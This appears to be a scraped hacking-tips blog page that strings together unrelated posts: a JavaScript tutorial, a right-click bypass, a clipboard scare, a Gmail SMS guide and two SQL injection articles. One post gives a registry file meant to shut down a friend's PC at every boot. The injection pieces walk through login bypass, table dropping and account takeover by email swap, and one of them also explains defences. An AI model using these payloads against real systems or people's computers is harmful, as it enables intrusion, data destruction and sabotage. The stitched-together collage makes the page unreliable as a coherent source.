Proxy > Gmail Facebook Yahoo!

Javascript Basics.........





The Name "JavaScript"

In this manual, we refer to the language we are learning as JavaScript, which is what it is usually called. However, the name JavaScript is owned by Netscape. Microsoft calls its version of the language JScript. The generic name of the language is EcmaScript.

The HTML DOM

The HTML Document Object Model (DOM) is the browser's view of an HTML page as an object hierarchy, starting with the browser window itself and moving deeper into the page, including all of the elements on the page and their attributes. Below is a simplified version of the HTML DOM.
As shown, the top-level object is window. The document object is a child of window and all the objects (i.e, elements) that appear on the page (e.g, forms, links, images, tables, etc.) are descendants of the document object. These objects can have children of their own. For example, form objects generally have several child objects, including textboxes, radio buttons, and select menus.

JavaScript Syntax

Basic Rules

  1. JavaScript statements end with semi-colons.
  2. JavaScript is case sensitive.
  3. JavaScript has two forms of comments:
    • Single-line comments begin with a double slash (//).
    • Multi-line comments begin with "/*" and end with "*/".
Syntax
// This is a single-line comment

/*
 This is
 a multi-line
 comment.
*/

Dot Notation

In JavaScript, objects can be referenced using dot notation, starting with the highest-level object (i.e, window). Objects can be referred to by name or id or by their position on the page. For example, if there is a form on the page named "loginform", using dot notation you could refer to the form as follows:
Syntax
window.document.loginform
Assuming that loginform is the first form on the page, you could also refer to this way:
Syntax
window.document.forms[0]
A document can have multiple form elements as children. The number in the square brackets ([]) indicates the specific form in question. In programming speak, every document object contains an array of forms. The length of the array could be zero (meaning there are no forms on the page) or greater. In JavaScript, arrays are zero-based, meaning that the first form on the page is referenced with the number zero (0) as shown in the syntax example above.

Square Bracket Notation

Objects can also be referenced using square bracket notation as shown below.
Syntax
window['document']['loginform']

// and 

window['document']['forms[0]']
Dot notation and square bracket notation are completely interchangeable. Dot notation is much more common; however, as we will see later in the course, there are times when it is more convenient to use square bracket notation.

Where Is JavaScript Code Written?

JavaScript code can be written inline (e.g, within HTML tags called event handlers), in script blocks, and in external JavaScript files. The page below shows examples of all three.

Code Sample: JavaScriptBasics/Demos/JavaScript.html

<html>
<head>
 <title>JavaScript Page</title>
 <script type="text/javascript">
  window.alert("The page is loading");
 </script>
</head>
<body>
<p align="center">
 <span onclick="document.bgColor = 'red';">Red</span> |
 <span onclick="document.bgColor = 'white';">White</span>
</p>
<script type="text/javascript" src="Script.js"></script>
</body>
</html>

Code Sample: JavaScriptBasics/Demos/Script.js

document.write("Hello, there!");
Code Explanation
As this page loads, an alert will pop up that says "The page is loading" as shown below.
After the user clicks the OK button, the page will finish loading and will appear as follows.
The text "Hello, there!" is written dynamically by the code in JavaScriptBasics/Demos/Script.js. We will look at the code in this file and in JavaScriptBasics/Demos/JavaScript.html again shortly.

JavaScript Objects, Methods and Properties

JavaScript is used to manipulate or get information about objects in the HTML DOM. Objects in an HTML page have methods (actions, such as opening a new window or submitting a form) and properties (attributes or qualities, such as color and size).
To illustrate objects, methods and properties, we will look at the code in JavaScriptBasics/Demos/JavaScript2.html, a slightly modified version of JavaScriptBasics/Demos/JavaScript.html, which we looked at earlier, and at the code inJavaScriptBasics/Demos/Script2.js.

Code Sample: JavaScriptBasics/Demos/JavaScript2.html

<html>
<head>
 <title>JavaScript Page</title>
 <script type="text/javascript">
  //Pop up an alert
  window.alert("The page is loading");
 </script>
</head>
<body>
<p align="center">
 <span onclick="document.bgColor = 'red';">Red</span> |
 <span onclick="document.bgColor = 'white';">White</span> |
 <span onclick="document.bgColor = 'green';">Green</span> |
 <span onclick="document.bgColor = 'blue';">Blue</span>
</p>
<script type="text/javascript" src="Script2.js"></script>
</body>
</html>

Code Sample: JavaScriptBasics/Demos/Script2.js

/*
This script simply outputs
 "Hello, there!"
to the browser.
*/
document.write("Hello, there!");

Methods

Methods are the verbs of JavaScript. They cause things to happen.

window.alert()

HTML pages are read and processed from top to bottom. The JavaScript code in the initial script block at the top ofJavaScriptBasics/Demos/JavaScript2.html calls the alert() method of the window object. When the browser reads that line of code, it will pop up an alert box and will not continue processing the page until the user presses the OKbutton. Once the user presses the button, the alert box disappears and the rest of the page loads.

document.write()

The write() method of the document object is used to write out code to the page as it loads. InJavaScriptBasics/Demos/Script2.js, it simply writes out "Hello, there!"; however, it is more often used to write out dynamic data, such as the date and time on the user's machine.

Arguments

Methods can take zero or more arguments separated by commas.
Syntax
object.method(argument1, argument2);
The alert() and write() methods shown in the example above each take only one argument: the message to show.

Properties

Properties are the adjectives of JavaScript. They describe qualities of objects and, in some cases are writable (can be changed dynamically).

document.bgColor

The bgColor property of the document object is read-write. Looking back atJavaScriptBasics/Demos/JavaScript2.html, the four span elements use the onclick event handler to catch click events. When the user clicks on a span, JavaScript is used to change the value of the bgColor property to a new color.

The Implicit window Object

The window object is always the implicit top-level object and therefore does not have to be included in references to objects. For example, window.document.write() can be shortened to document.write(). Likewise,window.alert() can be shortened to just alert().

The getElementById() Method

A very common way to reference HTML elements is by their ID using the getElementById() method of thedocument object as shown in the example below.

Event Handlers

In JavaScriptBasics/Demos/JavaScript2.html, we used the onclick event handler to call JavaScript code that changed the background color of the page. Event handlers are attributes that force an element to "listen" for a specific event to occur. Event handlers all begin with the letters "on". The table below lists the HTML event handlers with descriptions.
HTML Event Handlers
Event HandlerElements SupportedDescription
onblura, area, button, input, label, select, textareathe element lost the focus
onchangeinput, select, textareathe element value was changed
onclickAll elements except applet, base, basefont, bdo, br, font, frame, frameset, head, html, iframe, isindex, meta, param, script, style, titlea pointer button was clicked
ondblclickAll elements except applet, base, basefont, bdo, br, font, frame, frameset, head, html, iframe, isindex, meta, param, script, style, titlea pointer button was double clicked
onfocusa, area, button, input, label, select, textareathe element received the focus
onkeydownAll elements except applet, base, basefont, bdo, br, font, frame, frameset, head, html, iframe, isindex, meta, param, script, style, titlea key was pressed down
onkeypressAll elements except applet, base, basefont, bdo, br, font, frame, frameset, head, html, iframe, isindex, meta, param, script, style, titlea key was pressed and released
onkeyupAll elements except applet, base, basefont, bdo, br, font, frame, frameset, head, html, iframe, isindex, meta, param, script, style, titlea key was released
onloadframesetall the frames have been loaded
onloadbodythe document has been loaded
onmousedownAll elements except applet, base, basefont, bdo, br, font, frame, frameset, head, html, iframe, isindex, meta, param, script, style, titlea pointer button was pressed down
onmousemoveAll elements except applet, base, basefont, bdo, br, font, frame, frameset, head, html, iframe, isindex, meta, param, script, style, titlea pointer was moved within
onmouseoutAll elements except applet, base, basefont, bdo, br, font, frame, frameset, head, html, iframe, isindex, meta, param, script, style, titlea pointer was moved away
onmouseoverAll elements except applet, base, basefont, bdo, br, font, frame, frameset, head, html, iframe, isindex, meta, param, script, style, titlea pointer was moved onto
onmouseupAll elements except applet, base, basefont, bdo, br, font, frame, frameset, head, html, iframe, isindex, meta, param, script, style, titlea pointer button was released
onresetformthe form was reset
onselectinput, textareasome text was selected
onsubmitformthe form was submitted
onunloadframesetall the frames have been removed
onunloadbodythe document has been removed

Exercise: Using Event Handlers





Duration: 15 to 25 minutes.
In this exercise, you will use some of the event handlers from the table above to allow the user to change the background color of the page.
  1. Open JavaScriptBasics/Exercises/JavaScript.html for editing.
  2. Modify the page so that...
    • when it is finished loading an alert pops up reading "The page has loaded!"
    • when the "Red" button is clicked, the background color turns red and an alert pops up reading "The background color is now Red."
    • when the "Green" button is double-clicked, the background color turns green and an alert pops up reading "The background color is now Green."
    • when the "Orange" button is clicked down, the background color turns orange and an alert pops up reading "The background color is now Orange."
    • when the mouse button is released over the "Blue" button, the background color turns blue and an alert pops up reading "The background color is now Blue."

Code Sample: JavaScriptBasics/Exercises/JavaScript.html

<html>
<head>
 <title>JavaScript Page</title>
 <script type="text/javascript">
  window.alert("The page is loading.");
 </script>
</head>
<body>
<form>
 Click the button to turn the page
 <input type="button" value="Red"/>
 <br/><br/>
 Double click the button to turn the page
 <input type="button" value="Green"/>
 <br/><br/>
 Click down on the button to turn the page
 <input type="button" value="Orange"/>
 <br/><br/>
 Release the mouse while on the button to turn the page
 <input type="button" value="Blue"/>
</form>
<hr/>
<script type="text/javascript" src="Script.js"></script>
</body>
</html>
  1. Add functionality so that when the user presses any key, the background color turns white.
  2. Add a "Black" button. When the user hovers over this button and presses the mouse button down, the background color should turn black. When the user releases the mouse button, the background color should turn white.
Where is the solution?

Give your comment.........

[Read More...]


How to Enable Right Click in Websites



You are probably sometimes tried to save images or copy the contents of the website that forbid their use of the right-click. Most websites use javascript to prohibit the use of the right-click , so to enable it you should disable the javascript.


There are many ways to do ti , the simplest by my opinion is using Web Developer 1.1.9 , firefox add-on .

1) Downlaod Web Developer 1.1.9 from this link



2) Click Disable button





3) Select Disable Javascript












4) Again select “All Javascript” option.



[Read More...]


"Ctrl+C" Internet security tip



Please be very careful when u press 'Ctrl + C'..

Here is some useful information for all.


:- Ctrl+C may be the most important work we do

:- everyday. But it's not a very safe thing to do.
:- Read on to know why.

:- What happens when you press Ctrl+C while you are Online... We do
:- copy various data by Ctrl + C for copying & pasting elsewhere.

:- This copied data is stored in clipboard and is

:- Accessible from the net by A combination of Javascripts and ASP.

:- Just try this:

1)Copy any text by Ctrl + C

2)Use This Link:


http://www.sourcecodesworld.com/special/clipboard.asp


http://www.sourcecodesworld.com/special/clipboard.asp



3) You will see the text you copied was accessed by

:- this web page.

:- Do not keep sensitive data(like passwords, credit card numbers,PIN etc.)

:- In the clipboard while surfing the web.It is extremely easy to extract.
:- The text stored in the clipboard to steal your sensitive information.

See a suggestion from an expert:

:- You can stop hacking of clipboard content by doing:

> Go to internet options of explorer -_ tools menu ->Internet option -> Security Custom level

:- In settings - Select disable under allow past
:- operations via
:- script.

[Read More...]


Shutdown ur friend's PC when everytime it starts



go to
run >
type notepad > and
den paste bellow written text and save it as
virus.reg

here:--


Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"VIRUS"="%windir%\\SYSTEM32\\SHUTDOWN.EXE -t 1 -c \"Howz this new Virus ah\" -f"





DONT PUT IT IN UR COMPUTER, I AM NOT RESPONSIBLE, if it happens, to you, start windows in safe mode, and open registry editor by typiing REGEDIT in start->run.


navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]and remove the string value named VIRUS, restart you computer.


You can also put this in a javascript code, just add this code to your webpage:

[Read More...]


Gmail Notification phone viA Sms





here you got instant notification of your emails.
step 1

go to site2sms.com


step 2



step 3



step 4

go to email alert

step 5

mark your days

step 6

go to gmail

step 7

go to setting then email setting

step 8

go to forwarding and pop.

step 9

verify your account by code.


now you get notification of your all email to your phone.
[Read More...]


SQL Injection Attacks by Example




A customer asked that we check out his intranet site, which was used by the company's employees and customers. This was part of a larger security review, and though we'd not actually used SQL injection to penetrate a network before, we were pretty familiar with the general concepts. We were completely successful in this engagement, and wanted to recount the steps taken as an illustration.
"SQL Injection" is subset of the an unverified/unsanitized user input vulnerability ("buffer overflows" are a different subset), and the idea is to convince the application to run SQL code that was not intended. If the application is creating SQL strings naively on the fly and then running them, it's straightforward to create some real surprises.
We'll note that this was a somewhat winding road with more than one wrong turn, and others with more experience will certainly have different -- and better -- approaches. But the fact that we were successful does suggest that we were not entirely misguided.
There have been other papers on SQL injection, including some that are much more detailed, but this one shows the rationale of discovery as much as the process of exploitation.

The Target Intranet

This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.
The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.
When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.
So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.
We speculate that the underlying SQL code looks something like this:
SELECT fieldlist
  FROM table
 WHERE field = '$EMAIL';
Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later.
When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:
SELECT fieldlist
  FROM table
 WHERE field = 'steve@unixwiz.net'';
when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.
Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:
SELECT fieldlist
  FROM table
 WHERE field = 'anything' OR 'x'='x';
Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).
But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:

Your login information has been mailed to random.person@example.com.
Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.
We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:
  • "Your login information has been mailed to email"
  • "We don't recognize your email address"
  • Server error
The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.

Schema field mapping

The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.
So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:
SELECT fieldlist
  FROM table
 WHERE field = 'x' AND email IS NULL; --';
The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.
If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.
Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows and never generate a password-reminder email.
Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.
Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.
SELECT fieldlist
  FROM table
 WHERE email = 'x' AND userid IS NULL; --';
As a result of this process, we found several valid field names:
  • email
  • passwd
  • login_id
  • full_name
There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?

Finding the table name

The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.
A standalone query of
SELECT COUNT(*) FROM tabname
Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:
SELECT email, passwd, login_id, full_name
  FROM table
 WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' AND members.email IS NULL; --';
When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.

Finding some users

At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.
The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.
The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.
We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' OR full_name LIKE '%Bob%';
Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.
Ultimately, we may only need one valid email address to leverage our way in.

Brute-force password guessing

One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.
We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'bob@example.com' AND passwd = 'hello123';
This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.
This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.

The database isn't readonly

So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.
The most drastic example is:
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x'; DROP TABLE members; --';  -- Boom!
The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.
This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.

Adding a new member

Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.
This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
        INSERT INTO members ('email','passwd','login_id','full_name') 
        VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';
Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:
  1. We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
  2. The web application user might not have INSERT permission on the members table.
  3. There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
  4. Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
  5. A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.
In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.
A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.
We ended up going down a different road.

Mail me a password

We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.
From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:
SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
      UPDATE members
      SET email = 'steve@unixwiz.net'
      WHERE email = 'bob@example.com';
After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.
We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:
Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.
We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.
We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.

Other Approaches

In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We'll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive.
We are also aware that not all approaches work with all databases, and we can touch on some of them here.
Use xp_cmdshell
Microsoft's SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable.
What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to xp_cmdshell is usually limited to administrative accounts, but it's possible to grant it to lesser users.
Map out more database structure
Though this particular application provided such a rich post-login environment that it didn't really seem necessary to dig further, in other more limited environments this may not have been sufficient.
Being able to systematically map out the available schema, including tables and their field structure, can't help but provide more avenues for compromise of the application.
One could probably gather more hints about the structure from other aspects of the website (e.g., is there a "leave a comment" page? Are there "support forums"?). Clearly, this is highly dependent on the application and it relies very much on making good guesses.

Mitigations

We believe that web application developers often simply do not think about "surprise inputs", but security people do (including the bad guys), so there are three broad approaches that can be applied here.
Sanitize the input
It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them.
The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.
Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is crucial. Since - in our example - an email address can contain only these characters:
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+
There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database.
Sidebar on email addresses
It's important to note here that email addresses in particular are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one "valid", and it's a shame to exclude a good email address because it contains a character you didn't think about.
The only real authority is RFC 2822 (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what's allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes "most" email addresses.
Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those "odd" characters present.

Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):
SELECT fieldlist
  FROM table
 WHERE id = 23 OR 1=1;  -- Boom! Always matches!
In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations.
Escape/Quotesafe the input
Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name" field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this field.
One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes:
SELECT fieldlist
  FROM customers
 WHERE name = 'Bill O''Reilly';  -- works OK
However, this naïve approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits \' to escape a quote, so after input of \'; DROP TABLE users; -- is "protected" by doubling the quotes, we get:
SELECT fieldlist
  FROM customers
 WHERE name = '\''; DROP TABLE users; --';  -- Boom!
The expression '\'' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer.
Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely.
Some examples are the MySQL function mysql_real_escape_string() and perl DBD method $dbh->quote($value).
These methods must be used.
Use bound parameters (the PREPARE statement)
Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form.
Later, this prepared query is "executed" with a list of parameters:
Example in perl
$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

$sth->execute($email);
Thanks to Stefan Wagner, this demonstrates bound parameters in Java:
Insecure version
Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "
                             + formField); // *boom*
Secure version
PreparedStatement ps = connection.prepareStatement(
    "SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();
Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks.
There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application.
Limit database permissions and segregate users
In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a database connection with the most limited rights possible: query-only access to the members table, and no access to any other table.
The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.
Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights.
It should go almost without saying that sa rights should never be used for any web-based application.
Use stored procedures for database access
When the database server supports them, use stored procedures for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).
By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).
For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain.
Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection.
Isolate the webserver
Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.
For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.
Configure error reporting
The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.
This information is useful to developers, but it should be restricted - if possible - to just internal users.
Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.
[Read More...]


What is SQL Injection – is it Dangerous Attack?




What is SQL Injection - is it Dangerous AttackSQL injection is an attack in which malicious code is inserted into strings that are later passed to an instance of SQL Server for parsing and execution. A malicious hacker can do a lot of harm using these attacks. In India According to Indian Cyber Crime dept malicious hackers usually attack govt sites, as they are open to it.
Vocabulary:
  • SQL: Server Query Language-used in web applications to interact with databases.
  • SQL Injection: Method of exploiting a web application by supplying user input designed to manipulate SQL database queries.
  • Injection: You enter the injections into an html form which is sent to the web application. The application then puts you input directly into a SQL query. In advertantly, this allows you to manipulate to query..
What is SQL Injection

Applications:

Hacking a SQL database-driven server (usually only the ones that use unparsed user input in database queries). There is still a surprising number of data-driven web applications on the net that are vulnerable to this type of exploit. Being as typical as all method, the frequency of possible targets decreases over time as the method becomes more known. This is one those exploits that aren’t easily prevented by a simple patch but by a competent programmer.
You are reading http://mycodelogic.blogspot.com

How it is Used and where it is used?

First, let’s look at a typical SQL query:
SELECT fieldName1, fieldName2 FROM databaseName WHERE restrictionsToFilterWhichEntriesToReturn
Now, to dissect…
The red areas is where criterion is inputted. The rest of the query structures the query.
# SELECT fieldName1, fieldName2 – Specifies the of the names of fields that will be returned from the database.
# FROM databaseName – Specifies the name of the database to search.
# WHERE restrictionsToFilterWhichEntriesToReturn – Specifies which entries to return.
Here is an example for somebody’s login script:
SELECT userAcessFlags FROM userDatabase WHERE userName=”(input here)” AND userPass=”(input here)”
The idea is guess what that application’s query looks like and input things designed to return data other than what was intended.
In the above example, input like the following could give gain access to the administrator account:
User: administrator
Pass: ” OR “”=”
Making the query like this:
SELECT userAcessFlags FROM userDatabase WHERE userName=”administrator” AND userPass=”" OR “”=“”
As you can see, “”=”" (nothing does indeed match nothing)
You are reading http://mycodelogic.blogspot.com
Note: Injections are rarely as simple as this…
One can be creative and use error messages to your advantage to access other databases, fields, and entries. Learn a little SQL to use things like UNION to merges query results with ones not intended. On the security side, parse user data and get rid of any extra symbols now that you know how it’s done.
The idea in this example is to break out of the quotation marks.
When stuff is inside quotation marks, the stuff isn’t processed as code or anything but as a phrase and what it is.
The password injection was: ” OR “”=”
What this does is close the string that was started by the quotation mark in the part userPass=”. Once you break out, THEN stuff is considered code. So, I put OR “”=” after I break out of the string. You will notice that it is comparing two quotation marks with one, but the quotation mark already built in by the application finishes it so we have this:
userPass=”" OR “”=”"
Notice how the first and last quotation marks are not colored and are not built in.
You are reading http://mycodelogic.blogspot.com

Additional Information about SQL Injection:

